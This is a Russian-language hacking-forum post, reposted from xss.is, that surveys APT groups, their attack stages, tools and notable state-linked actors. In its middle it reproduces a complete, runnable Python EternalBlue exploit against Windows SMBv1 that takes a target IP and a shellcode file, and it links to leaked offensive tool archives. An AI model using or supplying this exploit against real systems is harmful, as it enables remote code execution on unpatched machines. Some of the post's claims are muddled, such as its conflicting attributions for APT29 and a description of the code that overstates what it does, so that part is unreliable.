Кушаем APT на завтрак — раскрываем все аспекты, векторы атак и многое другое

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Авторство: hackeryaroslav​

Источник: xss.is​


Интро
Как мы знаем, продвинутые постоянные угрозы (APT) представляют собой высокоразвитые и скрытные операции, направленные на поддержание долгосрочного доступа к целевым сетям. В отличие от традиционных кибератак, нацеленных на немедленную финансовую выгоду, APT-атаки характеризуются длительным внедрением с целью достижения стратегических целей, таких как сбор разведданных, политическое разрушение и экономический шпионаж. Возникнув в 1980-х годах с ранними примерами, такими как «Прощальное досье» и деяния Chaos Computer Club, APT развивались в сложности и возможностях, существенно влияя на глобальную кибербезопасность.

Середина 2000-х годов стала поворотным моментом в признании APT, что было продемонстрировано громкими инцидентами, такими как операция Aurora и червь Stuxnet, которые подчеркнули сложный и постоянный характер этих угроз. С тех пор появились известные APT-группы, такие как китайская APT1, российские APT28 и APT29, а также северокорейская Lazarus Group, демонстрируя типичные черты APT: передовые техники, специально разработанное вредоносное ПО и глубокое понимание защиты кибербезопасности.

Эти группы часто спонсируются государством и нацелены на правительственные учреждения, корпорации и критически важную инфраструктуру с целью кражи конфиденциальных данных, оставаясь незамеченными в течение длительных периодов. APT-атаки действуют через тщательно спланированные этапы, начиная с внедрения с помощью таких методов, как фишинг с использованием копий сайтов и уязвимости нулевого дня, затем закрепляясь и перемещаясь внутри сети, и заканчивая эксфильтрацией данных или саботажем системы. Они используют широкий спектр передовых инструментов и техник, включая стеганографию, комплекты эксплойтов и настраиваемое вредоносное ПО, чтобы оставаться незаметными и избегать обнаружения.

Стратегические цели APT тесно связаны с геополитическими целями их спонсирующих государств, направленные на сбор разведданных, получение экономических преимуществ и оказание политического влияния. Обнаружение и смягчение APT-угроз требуют надежных мер кибербезопасности, включая обнаружение аномалий, мониторинг трафика и идентификацию индикаторов компрометации (IoC) и серверов команд и управления (C2). Эффективные планы реагирования на инциденты и передовые решения безопасности критически важны для изоляции угроз, проведения судебно-медицинских анализов и улучшения будущих защитных механизмов.

lighthouse.jpeg

Историческая справка​

Истоки кибершпионажа уходят в 1980-е годы, когда французская разведывательная служба, возглавляемая операцией «Прощальное досье», использовала компьютер офицера КГБ для сбора важной информации о советской деятельности. В то же время немецкая хакерская группа Chaos Computer Club выявила уязвимости в правительственных и военных системах. Эти инциденты ознаменовали начало цифрового шпионажа и показали потенциал использования взаимосвязанных сетей для сбора разведданных. Эти ранние случаи предвосхитили превращение кибершпионажа в серьезную глобальную проблему в последующие десятилетия.

В конце 1980-х годов термин «Продвинутая постоянная угроза» (APT) начал набирать популярность. Хотя концепция существовала, широкое признание APT-атаки получили только в середине 2000-х годов благодаря громким инцидентам, таким как операция Aurora и червь Stuxnet. Эти атаки подчеркнули скрытность, сложность и настойчивость, которые определяют APT. Эволюция APT-актеров шла параллельно с развитием технологий и интернета. Ранними примерами являются выпуск Cult of the Dead Cow программы Back Orifice в 1998 году, которая продемонстрировала уязвимости операционных систем Microsoft Windows, и атака ботнета Trin00 на сеть Миннесотского университета в 1999 году, признанная первой в мире атакой распределенного отказа в обслуживании (DDoS).

Со временем появились заметные группы APT. Среди них APT1, якобы управляемая китайским подразделением 61398 Народно-освободительной армии Китая, которая замешана в многочисленных крупных кампаниях кибершпионажа с как минимум 2006 года. Другие известные группы включают российские APT28 и APT29, а также северокорейскую Lazarus Group. Каждая из этих групп продемонстрировала типичные характеристики APT, такие как долгосрочные цели и передовые техники, направленные на поддержание незамеченного доступа и сбор конфиденциальной информации.

Характеристики APT
Как ранее сказано, продвинутые постоянные угрозы (APT) представляют собой уникальный класс киберугроз, характеризующийся своей сложностью, скрытностью и долгосрочными целями. В отличие от типичных кибератак, направленных на немедленную финансовую выгоду, APT сосредоточены на поддержании длительного доступа к целевым сетям, часто для достижения целей, таких как шпионаж или стратегическое разрушение.

Скрытность и настойчивость
APT выделяются своей скрытностью и настойчивостью. Термин «постоянная» указывает на длительность и решимость акторов угрозы в достижении своих целей. Эти факторы ведут длительные операции, иногда растягивающиеся на месяцы или даже годы, с целью поддержания долгосрочного доступа к сети цели. Этот продолжительный доступ позволяет им постоянно мониторить и извлекать ценную информацию в течение длительного периода. Фокус на оставлении незамеченными является ключевой характеристикой, так как любое подозрение со стороны цели может привести к усилению мер безопасности или обнаружению угрозы, что потенциально сведет на нет месяцы работы.

Передовые техники и инструменты
APT известны использованием передовых инструментов, уязвимостей нулевого дня и специально разработанного вредоносного ПО. Эти передовые техники позволяют им преодолевать защиты и устанавливать постоянный доступ. Они используют несколько векторов атаки, таких как фишинг с использованием копий сайтов, уязвимости нулевого дня и атаки через зараженные сайты, чтобы скомпрометировать ценные цели, включая государственные учреждения, корпорации и критически важную инфраструктуру. Их операции обычно демонстрируют глубокое понимание кибербезопасности и сетевых систем, что позволяет им навигировать и использовать сложные среды безопасности.

Выбор цели и разведка
APT-атаки направлены на конкретные организации, отрасли или правительства, обладающие ценными данными или активами. Выбор целей основан на потенциальной стратегической ценности. Первый этап APT-атаки включает выбор целевой организации и сбор обширной информации о ней через разведку. Это включает сканирование уязвимостей, понимание архитектуры сети и идентификацию ключевого персонала внутри организации. Эта информация затем используется для разработки индивидуального плана по проникновению в системы, расширению доступа и выполнению задач, избегая обнаружения.

Методы уклонения
С самых ранних этапов исследования цели до завершения атаки одной из основных задач APT является уклонение от обнаружения. Атакующие разрабатывают методы уклонения, изучая сеть и ее инструменты обнаружения, а затем тестируют способы их обхода без поднятия тревоги. Общие методы уклонения включают фрагментацию пакетов данных для обхода межсетевых экранов и систем обнаружения вторжений, а также использование стеганографии для встраивания файлов в изображения. Эти тактики помогают поддерживать низкий профиль в сети цели, позволяя атакующим действовать незамеченными в течение длительного времени.

Цели
Основные цели APT заключаются в поддержании долгосрочного доступа к скомпрометированным системам, эксфильтрации конфиденциальных данных и часто в оставлении незамеченными в течение длительного времени. Обычно их основная цель — кража информации, а не немедленное причинение вреда. Эта информация может включать интеллектуальную собственность, коммерческие тайны, стратегические коммуникации и засекреченные данные.

png.jpeg

Этапы APT-атаки​

Атака представляет собой тщательно спланированный и выполненный процесс, который обычно развивается в три широкие фазы: инфильтрация, закрепление и боковое перемещение, а также выполнение.

Инфильтрация​

Начальная фаза APT-атаки включает в себя получение доступа к целевой сети. Это достигается с помощью различных методов, включая фишинг с использованием копий сайтов, эксплуатацию уязвимостей приложений, подбор учетных данных и загрузку вредоносных программ при посещении зараженных сайтов. На этом этапе атакующие могут внедрять вредоносное ПО или трояны с удаленным доступом, чтобы закрепиться в системах цели.

Закрепление и боковое перемещение​

Попав в сеть, атакующие сосредотачиваются на расширении своего доступа и поддержании присутствия. Они собирают информацию о структуре сети, получают учетные данные и развертывают передовое вредоносное ПО для удаленного управления скомпрометированными системами. Этот этап включает боковое перемещение внутри сети, позволяющее атакующим получить доступ к более чувствительным системам и передавать данные по мере необходимости. Закрепление достигается с помощью таких методов, как каналы управления и контроля (C2), которые обеспечивают постоянную связь с инфицированными системами и способствуют дальнейшей эксплуатации, повышению привилегий и сбору данных.

Выполнение​

На заключительной фазе атакующие работают над достижением своих целей, которые часто включают эксфильтрацию данных, саботаж системы и установку дополнительных бэкдоров для будущих атак. Методы, используемые на этом этапе, могут включать кражу конфиденциальной информации, создание скрытых каналов для эксфильтрации данных и сокрытие своих следов, чтобы избежать обнаружения. Этот этап является критическим для атакующих, так как определяет успех их миссии и возможность долгосрочного доступа к сети цели.

Инструменты и методы, используемые в APT​

APT используют множество сложных инструментов и методов для инфильтрации, сохранения доступа и работы внутри целевых систем. Эти атаки тщательно разрабатываются и выполняются высококвалифицированными операторами, которые применяют разнообразные передовые стратегии для обеспечения их успеха и долговечности.

Стеганография​

Стеганография включает в себя скрытие данных или вредоносного ПО внутри изображений и других на вид безобидных файлов, чтобы избежать обнаружения. Эта техника позволяет атакующим незаметно вставлять вредоносные компоненты в иначе безопасные файлы, что затрудняет традиционным средствам безопасности выявление и пометку скрытых угроз.

Эвазивные техники PHP​

Методы эвазивности PHP включают в себя изменение порядка символов для внедрения бэкдоров в код веб-сайтов или веб-приложений. Этот метод помогает атакующим внедрять вредоносный код таким образом, чтобы обойти традиционные механизмы безопасности, позволяя несанкционированный доступ и контроль над скомпрометированными веб-ресурсами.

Анализ активности мыши​

APT часто применяют методы анализа активности мыши, отслеживая клики или другие взаимодействия. Это помогает вредоносному ПО определить, выполняется ли оно в целевой операционной среде или в виртуализированных системах, таких как платформы для анализа вредоносного ПО или песочницы антивирусов. На основе этой оценки вредоносное ПО может корректировать свое поведение, чтобы избежать обнаружения и анализа.

Маскировка источников атак​

Для скрытия своей идентичности и намерений атакующие маскируют источники своих атак. Это достигается путем создания видимости, что атака исходит из ложного местоположения, усложняя попытки отследить реальный источник угрозы. Такая маскировка помогает защитить атакующих и позволяет им действовать с меньшим риском раскрытия.

Эксплойт-киты​

Эксплойт-киты нацелены на уязвимости в программном обеспечении, особенно в устаревших системах с критическими недостатками безопасности. Эти киты развертывают шеллкод, небольшой фрагмент вредоносного ПО, предназначенный для загрузки дополнительных вредоносных компонентов с контролируемых атакующими сетей. Этот метод облегчает инфильтрацию и инфекцию организаций и устройств путем эксплуатации известных уязвимостей.

Методы скрытности​

APT используют комбинацию передовых инструментов и стратегий для избегания обнаружения. К ним относятся безфайловое вредоносное ПО, социальная инженерия, руткиты, DNS-туннелирование и другие методы маскировки. Используя эти техники, APT могут обходить механизмы мониторинга и обнаружения, оставаясь скрытыми в течение длительного времени, что критично для их долгосрочных целей.

Индивидуализированные атаки​

APT являются высоко нацеленными, часто включая специально созданное вредоносное ПО, предназначенное для эксплуатации конкретных уязвимостей в целевой организации. Такой индивидуализированный подход обеспечивает максимальную эффективность атаки, сосредоточенную на уникальных слабостях цели. Эти сложные атаки требуют значительных затрат и ресурсов, что отражает существенные усилия и экспертизу, необходимые для их разработки.

Примеры из реальной практики​

Одним из известных примеров APT является атака Stuxnet, которая была направлена на ядерную программу Ирана. Stuxnet использовал комбинацию скрытных техник и сложного вредоносного ПО для инфильтрации и саботажа критической инфраструктуры, демонстрируя потенциальное воздействие хорошо спланированных APT.

Другим примером является операция Shady Rat, которая использовала фишинг для нацеливания на конкретных государственных сотрудников с доступом к конфиденциальной информации, демонстрируя нацеленную и настойчивую природу этих угроз.

Некоторые популярные опен сорс инструменты, используемые в атаках включают:
  1. Cobalt Strike - инструмент для эмуляции атак, часто применяемый для пост-эксплуатации и латерального перемещения в сети.
  2. Mimikatz - утилита для извлечения паролей и хешей из памяти Windows, используемая для кражи учетных данных.
  3. Empire - пост-эксплуатационный фреймворк с функциями для сбора информации и латерального перемещения.
  4. Nmap - сканер портов и сетевой разведки, применяемый для картографирования сети.
  5. Wireshark - анализатор сетевого трафика, используемый для перехвата и анализа коммуникаций.
  6. PsExec - утилита от Microsoft, часто применяемая для удаленного выполнения команд.
Также, есть и много слитых инструментов\документов, используемые АНБ в прошлом, посмотреть можно тут: https://github.com/iamcryptoki/snowden-archive?tab=readme-ov-file

А также....
  • Hacking Team RCS (Remote Control System) - инструменты итальянской компании для слежки, слитые в 2015 году.
  • NSA TAO (Tailored Access Operations) инструменты - различные эксплойты и утилиты АНБ, слитые группой Shadow Brokers.
  • Vault 7 инструменты ЦРУ - набор хакерских инструментов, опубликованный WikiLeaks.
  • APT34 (OilRig) инструменты - иранская APT-группа, чьи инструменты были слиты в 2019 году.
  • Equation Group инструменты - предположительно связаны с АНБ, слиты Shadow Brokers.

Самый известный из эксплоитов, слитых на гитхаб - EternalBlue, эксплоит, разработанный АНБ США и слитый группой Shadow Brokers в 2017 году. Он использует уязвимость в реализации протокола SMB в Windows и позволяет удаленно выполнить код на уязвимой системе. Этот эксплоит стал особенно известен из-за его использования в таких атаках, как WannaCry и NotPetya, которые вызвали масштабные сбои по всему миру.

Python: Скопировать в буфер обмена
Код:
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket

NTFEA_SIZE = 0x11000

ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + b'A'*0xffde

ntfea11000 = (pack('<BBH', 0, 0, 0) + b'\x00')*600
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + b'A'*0xf3be

ntfea1f000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x2494
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + b'A'*0x48ee

ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }

'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():

// for x64
struct SRVNET_BUFFER {
    // offset from POOLHDR: 0x10
    USHORT flag;
    char pad[2];
    char unknown0[12];
    // offset from SRVNET_POOLHDR: 0x20
    LIST_ENTRY list;
    // offset from SRVNET_POOLHDR: 0x30
    char *pnetBuffer;
    DWORD netbufSize;  // size of netBuffer
    DWORD ioStatusInfo;  // copy value of IRP.IOStatus.Information
    // offset from SRVNET_POOLHDR: 0x40
    MDL *pMdl1; // at offset 0x70
    DWORD nByteProcessed;
    DWORD pad3;
    // offset from SRVNET_POOLHDR: 0x50
    DWORD nbssSize;  // size of this smb packet (from user)
    DWORD pad4;
    QWORD pSrvNetWskStruct;  // want to change to fake struct address
    // offset from SRVNET_POOLHDR: 0x60
    MDL *pMdl2;
    QWORD unknown5;
    // offset from SRVNET_POOLHDR: 0x70
    // MDL mdl1;  // for this srvnetBuffer (so its pointer is srvnetBuffer address)
    // MDL mdl2;
    // char transportHeader[0x50];  // 0x50 is TRANSPORT_HEADER_SIZE
    // char netBuffer[0];
};

struct SRVNET_POOLHDR {
    DWORD size;
    char unknown[12];
    SRVNET_BUFFER hdr;
};
'''


TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000

fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += b'\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0)
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)


fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)


fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)


fakeSrvNetBuffer = fakeSrvNetBufferNsa


feaList = pack('<I', 0x10000)
feaList += ntfea[NTFEA_SIZE]


feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer

feaList += pack('<BBH', 0x12, 0x34, 0x5678)


fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += (b'\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)
fake_recv_struct += (b'\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)
fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)


def getNTStatus(self):
    return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
    transCommand['Parameters'] = smb.SMBEcho_Parameters()
    transCommand['Data'] = smb.SMBEcho_Data()

    transCommand['Parameters']['EchoCount'] = 1
    transCommand['Data']['Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('got good ECHO response')
    else:
        print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


def createSessionAllocNonPaged(target, size):


    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()

    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters']['MaxBufferSize']      = 61440
    sessionSetup['Parameters']['MaxMpxCount']        = 2
    sessionSetup['Parameters']['VcNumber']           = 2
    sessionSetup['Parameters']['SessionKey']         = 0
    sessionSetup['Parameters']['SecurityBlobLength'] = 0

    sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY

    sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn


class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
        ('FID','<H=0'),
    )

def send_trans2_second(conn, tid, data, displacement):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid


    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
    transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
    transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

    transCommand['Parameters']['TotalParameterCount'] = 0
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+18
    transCommand['Data']['Pad1'] = ''

    transCommand['Parameters']['ParameterCount'] = 0
    transCommand['Parameters']['ParameterOffset'] = 0

    if len(data) > 0:
        pad2Len = (4 - fixedOffset % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = len(data)
    transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
    transCommand['Parameters']['DataDisplacement'] = displacement

    transCommand['Data']['Trans_Parameters'] = ''
    transCommand['Data']['Trans_Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)


def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):


    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    command = pack('<H', setup)


    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['MaxSetupCount'] = 1
    transCommand['Parameters']['MaxParameterCount'] = len(param)
    transCommand['Parameters']['MaxDataCount'] = 0
    transCommand['Data'] = smb.SMBTransaction2_Data()

    transCommand['Parameters']['Setup'] = command
    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+38 + len(command)
    if len(param) > 0:
        padLen = (4 - fixedOffset % 4 ) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

    if len(data) > 0:
        pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = firstDataFragmentSize
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    conn.recvSMB()


    i = firstDataFragmentSize
    while i < len(data):

        sendSize = min(4096, len(data) - i)
        if len(data) - i <= 4096:
            if not sendLastChunk:
                break
        send_trans2_second(conn, tid, data[i:i+sendSize], i)
        i += sendSize

    if sendLastChunk:
        conn.recvSMB()
    return i


def createConnectionWithBigSMBFirst80(target):


    sk = socket.create_connection((target, 445))

    pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)


    pkt += b'BAAD'
    pkt += b'\x00'*0x7c
    sk.send(pkt)
    return sk


def exploit(target, shellcode, numGroomConn):

    conn = smb.SMB(target, target)

    conn.login_standard('', '')
    server_os = conn.get_server_os()
    print('Target OS: '+server_os)
    if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
        print('This exploit does not support this target')
        sys.exit()


    tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')


    progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)


    allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)

    srvnetConn = []
    for i in range(numGroomConn):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)


    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)


    allocConn.get_socket().close()


    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)


    holeConn.get_socket().close()


    send_trans2_second(conn, tid, feaList[progress:], progress)
    recvPkt = conn.recvSMB()
    retStatus = recvPkt.getNTStatus()

    if retStatus == 0xc000000d:
        print('good response status: INVALID_PARAMETER')
    else:
        print('bad response status: 0x{:08x}'.format(retStatus))


    for sk in srvnetConn:
        sk.send(fake_recv_struct + shellcode)


    for sk in srvnetConn:
        sk.close()


    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()


if len(sys.argv) < 3:
    print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
    sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')

Код может показаться сложным, но можно подчеркнуть его отлично подготовленную структуру:
  1. Инициация:
    • Сканирование порта 445 (SMB)
    • Установка SMB-соединения с целевой системой
  2. Эксплуатация уязвимости:
    • Отправка специально сформированного Trans2 Secondary Request
    • Триггер переполнения буфера в функции обработки SMBv1
  3. Подготовка памяти:
    • Применение техники heap spraying
    • Размещение шелл-кода в предсказуемых адресах памяти
  4. Перехват управления:
    • Перезапись указателя функции обработки SMB
    • Перенаправление выполнения на подготовленный шелл-код
  5. Выполнение шелл-кода:
    • Обход DEP (Data Execution Prevention)
    • Повышение привилегий до SYSTEM
  6. Загрузка основной полезной нагрузки:
    • Скачивание дополнительных модулей
    • Внедрение бэкдора (например, DoublePulsar)
  7. Закрепление в системе:
    • Установка постоянного механизма доступа
    • Маскировка следов вторжения
  8. Латеральное распространение:
    • Сканирование локальной сети
    • Атака на другие уязвимые системы
А также:
  • Использование особенностей обработки пакетов в ядре Windows
  • Манипуляции с Non-Paged Pool для размещения шелл-кода
  • Применение ROP (Return-Oriented Programming) для обхода защит
  • Использование SMB-протокола для распространения по сети

Кстати, атака WannaCry, по моему мнению, одна из самых страшных, была остановлена случайно подростком. Эту интересную историю можно найти тут: https://en.wikipedia.org/wiki/Marcus_Hutchins#WannaCry

maxresdefault.jpg

Заметные группы APT​

Группы продвинутых постоянных угроз (APT) используют сложные методы, такие как "жизнь на земле" (LOTL, см https://xss.is/threads/119583/ кртако: использование встроенных программных инструментов для осуществления своей деятельности), безфайловое вредоносное ПО (см https://xss.is/threads/119583/ кратко: находящееся в памяти, а не на диске), шифрование для сокрытия своей коммуникации и антифорензные меры для сокрытия своих следов. Определение принадлежности APT-групп может быть сложным, но некоторые хорошо известные группы имеют узнаваемые модели и происхождение. Обычно китайские APT-актеры называются "Пандами", российские APT — "Медведями", а иранские APT — "Котятами".

Российские APT-группы​

Российские APT-группы известны своими передовыми возможностями и связаны с многочисленными громкими кибератаками.
  • APT28 (Fancy Bear): Эта группа была вовлечена в несколько громких шпионских кампаний и, как полагают, связана с российским военным разведывательным агентством ГРУ.
  • APT29 (Cozy Bear): Известна своими атаками на государственные и коммерческие объекты с целью сбора разведывательной информации. Подозревается, что APT29 связана с Федеральной службой безопасности (ФСБ) России.

Китайские APT-группы​

Китай имеет значительное количество групп APT, многие из которых считаются поддерживаемыми государством.
  • APT1 (Comment Panda): Также известна как Подразделение 61398 Народно-освободительной армии Китая, эта группа активно работает с 2006 года, нацеливаясь на критическую инфраструктуру и оборонные компании.
  • APT41 (Wicked Panda): Активная с 2012 года, APT41 нацеливается на здравоохранение, телекоммуникации, технологии и индустрию видеоигр в 14 странах. Эта группа занимается как государственной шпионской деятельностью, так и финансово мотивированными операциями.
  • APT5: Эта шпионская группа активна с 2007 года и в основном нацелена на телекоммуникационные, аэрокосмические и оборонные отрасли в США, Европе и Азии. Известна своими продвинутыми методами и значительным интересом к компрометации сетевых устройств и их программного обеспечения.

Иранские APT-группы​

Иранские APT-группы участвовали в различных кибершпионских и саботажных действиях.
  • APT35 (Charming Kitten): Известна своими фишинг-кампаниями, нацеленными на политических диссидентов, журналистов и организации, критически настроенные к иранскому правительству. Эта группа активна в течение нескольких лет.
  • APT39: Эта группа проводит кибершпионские мероприятия от имени Министерства разведки и безопасности Ирана (MOIS), в основном нацеливаясь на телекоммуникационную и туристическую отрасли.

Северокорейские APT-группы​

Северокорейские APT-группы известны своими финансово мотивированными операциями и разрушительными кибератаками.
  • APT38: Специализируется на финансовых кибероперациях, нацеливаясь на банки, финансовые учреждения и криптовалютные биржи в как минимум 38 странах. Известные атаки включают кражу $81 миллиона из Центрального банка Бангладеш в 2016 году.
  • Kimsuky: В январе 2022 года эта группа нацелилась на медийную компанию и аналитический центр в Южной Корее, используя фишинг-имейлы с макросами в документах Microsoft Word, развертывая ПО для кражи информации в сети жертвы.

Другие заметные APT-группы​

Другие заметные APT-группы с значительной кибершпионской активностью включают Equation Group, а также
  • APT29: Приписывается российской Службе внешней разведки (СВР). APT29 нацеливалась на правительственные сети в Европе и странах НАТО, исследовательские институты и аналитические центры как минимум с 2008 года. (см выше)
  • Stealth Falcon: Известен целенаправленными атаками шпионского ПО против журналистов, активистов и диссидентов из ОАЭ как минимум с 2012 года, с возможной связью с правительством ОАЭ.
  • Strider: Активен как минимум с 2011 года, нацеливается на жертвы в таких странах, как Россия, Китай, Швеция и Иран.
  • Suckfly: Группа из Китая, активная как минимум с 2014 года, нацеливается на различные отрасли.
  • TA2541: Известна своими атаками на авиационную, аэрокосмическую и оборонную промышленности как минимум с 2017 года.

В заключение...
APT — это настоящие мастера. Они проникают в системы на долго, используя хитроумные уловки, чтобы не попасться на глаза. В статье показано, как эти группы действуют, начиная от изощрённых методов взлома и заканчивая реальными примерами атак. Если не держать ухо востро, можно стать их следующей жертвой.
 
Сверху Снизу